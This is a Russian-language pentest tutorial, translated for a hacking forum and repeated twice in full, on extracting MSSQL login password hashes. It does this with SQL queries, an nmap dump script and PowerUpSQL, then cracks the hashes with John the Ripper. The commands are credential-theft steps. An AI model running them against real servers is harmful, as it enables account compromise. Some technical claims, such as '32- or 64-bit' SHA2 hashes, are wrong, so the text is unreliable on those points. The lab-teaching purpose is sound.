В этой статье мы узнаем о нескольких способах получения хэшей пользователей MSSQL. Каждая версия MSSQL имеет разные хеши. Практикум мы выполним на версии SQL Server 2016. Как только мы найдем хэши, мы воспользуемся JohnTheRipper для их взлома.
Введение в хеширование в SQL-сервере
Хеширование - это особый тип алгоритма, который создает выходную строку фиксированной длины. Хэш-код всегда имеет одинаковую длину, но его сложность может быть разной в зависимости от того, как он используется, и может создавать разные хеши для разных входных строк.
SQL Server использует методы хеширования вместо шифрования, поскольку он предлагает одностороннюю процедуру хеширования данных. А из-за хеширования вероятность его вскрытия меньше или равна нулю. Начиная с SQL Server 2016, единственными используемыми алгоритмами хеширования являются SHA2_512 и SHA2_256. Они создает 32- или 64-битные хэши для желаемых строк. Вы можете создать хэш на сервере SQL с помощью функции HashByte.
Хэш, созданный на SQL-сервере, выглядит примерно так:
CLI
Чтобы получить хеши всех пользователей, используйте следующий запрос:
SELECT * FROM sys.sql_logins
Для получения хеша конкретного пользователя используйте следующий запрос:
select name,password_hash from sys.sql_logins where name='sa'
Как видите, оба вышеуказанных запроса дали нам желаемый результат.
Nmap
Мы также можем получить хэши удаленно с помощью Nmap. И команда для этого следующая:
nmap -p1433 --script ms-sql-dump-hashes --script-args mssql.username=sa,mssql.password=Password@1 192.168.1.146
И в результате выполнения вышеуказанной команды у нас есть хеш.
PowerUpSQL
Для удаленного хеширования PowerUpSQL предоставляет простую команду, которая выглядит следующим образом:
Import-Module .\PowerUpSQL.ps1
Get-SQLServerPasswordHash -username sa -Password Password@1 -instance WIN-P83OS778EQK\SQLEXPRESS -Verbose
Это несколько способов получения хэшей для сервера MSSQL, как удаленно, так и локально.
JohnTheRipper
Теперь, когда мы получили хэши, все, что нам нужно сделать, это взломать их. Для этого мы будем использовать всемогущий инструмент для взлома паролей, то есть JohnTheRipper. А чтобы дехешировать хэш пароля, используйте следующую команду:
john --format=mssql12 --wordlist=pass hash
И результат показывает нам, что пароль - это Password@1, который является верным. Итак, таким образом можно дампить, а затем взламывать хэши MSSQL.
Переведено специально для xss.pro
Автор перевода: yashechka
Источник: https://www.hackingarticles.in/mssql-for-pentester-hashing/
Введение в хеширование в SQL-сервере
Хеширование - это особый тип алгоритма, который создает выходную строку фиксированной длины. Хэш-код всегда имеет одинаковую длину, но его сложность может быть разной в зависимости от того, как он используется, и может создавать разные хеши для разных входных строк.
SQL Server использует методы хеширования вместо шифрования, поскольку он предлагает одностороннюю процедуру хеширования данных. А из-за хеширования вероятность его вскрытия меньше или равна нулю. Начиная с SQL Server 2016, единственными используемыми алгоритмами хеширования являются SHA2_512 и SHA2_256. Они создает 32- или 64-битные хэши для желаемых строк. Вы можете создать хэш на сервере SQL с помощью функции HashByte.
Хэш, созданный на SQL-сервере, выглядит примерно так:
CLI
Чтобы получить хеши всех пользователей, используйте следующий запрос:
SELECT * FROM sys.sql_logins
Для получения хеша конкретного пользователя используйте следующий запрос:
select name,password_hash from sys.sql_logins where name='sa'
Как видите, оба вышеуказанных запроса дали нам желаемый результат.
Nmap
Мы также можем получить хэши удаленно с помощью Nmap. И команда для этого следующая:
nmap -p1433 --script ms-sql-dump-hashes --script-args mssql.username=sa,mssql.password=Password@1 192.168.1.146
И в результате выполнения вышеуказанной команды у нас есть хеш.
PowerUpSQL
Для удаленного хеширования PowerUpSQL предоставляет простую команду, которая выглядит следующим образом:
Import-Module .\PowerUpSQL.ps1
Get-SQLServerPasswordHash -username sa -Password Password@1 -instance WIN-P83OS778EQK\SQLEXPRESS -Verbose
Это несколько способов получения хэшей для сервера MSSQL, как удаленно, так и локально.
JohnTheRipper
Теперь, когда мы получили хэши, все, что нам нужно сделать, это взломать их. Для этого мы будем использовать всемогущий инструмент для взлома паролей, то есть JohnTheRipper. А чтобы дехешировать хэш пароля, используйте следующую команду:
john --format=mssql12 --wordlist=pass hash
И результат показывает нам, что пароль - это Password@1, который является верным. Итак, таким образом можно дампить, а затем взламывать хэши MSSQL.
Переведено специально для xss.pro
Автор перевода: yashechka
Источник: https://www.hackingarticles.in/mssql-for-pentester-hashing/